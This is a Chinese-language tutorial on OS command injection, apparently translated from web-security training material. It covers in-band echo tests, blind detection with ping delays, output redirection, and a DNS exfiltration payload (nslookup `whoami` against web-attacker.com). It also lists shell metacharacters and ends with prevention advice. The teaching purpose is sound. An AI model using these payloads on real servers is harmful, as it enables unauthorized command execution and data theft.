OS command injection 操作系统命令注入
- 1. 什么是OS命令注入?
- 2. 注入操作系统命令
- 3. Blind OS命令注入漏洞
- 4. 注入操作系统命令的方法
- 5. 如何防止OS命令注入攻击
1. 什么是OS命令注入?
操作系统命令注入也称为shell注入。它允许攻击者在运行应用程序的服务器上执行操作系统(OS)命令,通常会完全危及应用程序及其数据。通常,攻击者可以利用操作系统命令注入漏洞来危害托管基础架构的其他部分,并利用信任关系将攻击转移到组织内的其他系统。
2. 注入操作系统命令
在这个例子中,一个应用程序让用户查看某个商品在某个特定商店中是否有库存。此信息通过URL访问:
https://insecure-website.com/stockStatus?productID=381&storeID=29
为了提供股票信息,应用程序必须查询各种系统。由于历史原因,该功能是通过调用一个shell命令来实现的,该命令将产品和商店ID作为参数:
stockreport.pl 381 29
此命令输出指定项目的库存状态,并返回给用户。
该应用程序没有对操作系统命令注入实施防御,因此攻击者可以提交以下输入来执行任意命令:
& echo aiwefwlguh &
如果此输入在productID
参数中提交,则应用程序执行的命令为:
stockreport.pl & echo aiwefwlguh & 29
echo
命令使提供的字符串在输出中回显。这是测试某些类型的OS命令注入的有用方法。&
字符是shell命令分隔符。在本例中,它导致三个单独的命令依次执行。返回给用户的输出是:
Error - productID was not provided
aiwefwlguh
29: command not found
这三行产出表明:
原始的stockreport.pl
命令在没有预期参数的情况下执行,因此返回错误消息。
执行注入的echo
命令,并在输出中回显提供的字符串。
原始参数29
作为命令执行,这导致了错误。
在注入的命令之后放置额外的命令分隔符&
是有用的,因为它将注入的命令与注入点之后的任何命令分开。这减少了后续操作阻止插入的命令执行的可能性。
- 有用的命令
用途 | linux | windows |
---|---|---|
当前用户名 | whoami | whoami |
操作系统 | uname -a | ver |
网络配置 | ifconfig | ipconfig /all |
网络连接 | netstat -an | netstat -an |
查看进程 | ps -ef | tasklist |
3. Blind OS命令注入漏洞
许多操作系统命令注入的实例都是盲注漏洞。这意味着应用程序不会在其HTTP响应中返回命令的输出。盲注漏洞仍然可以被利用,但需要不同的技术。
举个例子,假设一个网站允许用户提交关于该网站的反馈。用户输入他们的电子邮件地址和反馈消息。然后,服务器端应用程序向站点管理员生成包含反馈的电子邮件。要做到这一点,它会调用mail
程序并提交详细信息:
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
mail
命令的输出(如果有的话)不会在应用程序的响应中返回,因此使用echo
有效负载将不起作用。在这种情况下,可以使用各种其他技术来检测和利用漏洞。
- 使用时间延迟检测盲OS命令注入
您可以使用插入的命令来触发时间延迟,使您能够根据应用程序响应所需的时间来确认命令已执行。ping
命令是一个很好的方法,因为它允许您指定要发送的数据包的数量。这使您能够控制命令运行所需的时间:
& ping -c 10 127.0.0.1 &
此命令会使应用程序ping
其环回网络适配器10秒。
- 通过重定向输出来利用盲OS命令注入
您可以将插入命令的输出重定向到Web根目录下的文件中,然后可以使用浏览器检索该文件。例如,如果应用程序从文件系统位置/var/www/static
提供静态资源,则可以提交以下输入:
& whoami > /var/www/static/whoami.txt &
>
字符将whoami
命令的输出发送到指定的文件。然后,您可以使用浏览器获取https://vulnerable-website.com/whoami.txt
来检索文件,并查看注入命令的输出。
- 利用带外的操作系统命令盲目注入(OAST)技术
您可以使用一个注入的命令来触发与您所控制的系统的带外网络交互(使用OAST技术)。例如:
& nslookup kgji2ohoyw.web-attacker.com &
此有效负载使用nslookup
命令对指定的域进行DNS查找。攻击者可以监视查找是否发生,以确认命令是否成功注入。
- 带外通道提供了一种简单的方法来从注入的命令中提取输出:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
这会导致DNS查找攻击者的域,其中包含whoami命令的结果:
wwwuser.kgji2ohoyw.web-attacker.com
4. 注入操作系统命令的方法
您可以使用许多shell元字符来执行OS命令注入攻击。
许多字符用作命令分隔符,允许将命令链接在一起。以下命令分隔符在基于Windows和Unix的系统上都有效:
&
&&
|
||
以下命令分隔符仅适用于基于Unix的系统:
;0x0a #新行\n #新行
在基于Unix的系统上,您还可以使用反引号或美元字符在原始命令中执行插入命令的内联执行:
`
$(
不同的shell元字符具有微妙的不同行为,这些行为可能会改变它们在某些情况下是否有效。这可能会影响它们是否允许带内检索命令输出或仅用于盲注入利用。
有时,您控制的输入在原始命令中出现在引号内。在这种情况下,您需要在使用合适的shell元字符注入新命令之前终止引用的上下文(使用"
或'
)。
5. 如何防止OS命令注入攻击
防止OS命令注入漏洞的最有效方法是永远不要从应用程序层代码中调用OS命令。在几乎所有情况下,都有不同的方法来使用更安全的平台API实现所需的功能。
如果必须使用用户提供的输入调用OS命令,则必须执行强输入验证。有效验证的一些示例包括:
- 根据允许值的白名单进行验证。
- 验证输入是否为数字。
- 验证输入是否仅包含字母数字字符,不包含其他语法或空格。
不要试图通过转义shell元字符来清理输入。在实践中,这太容易出错,并且很容易被熟练的攻击者绕过。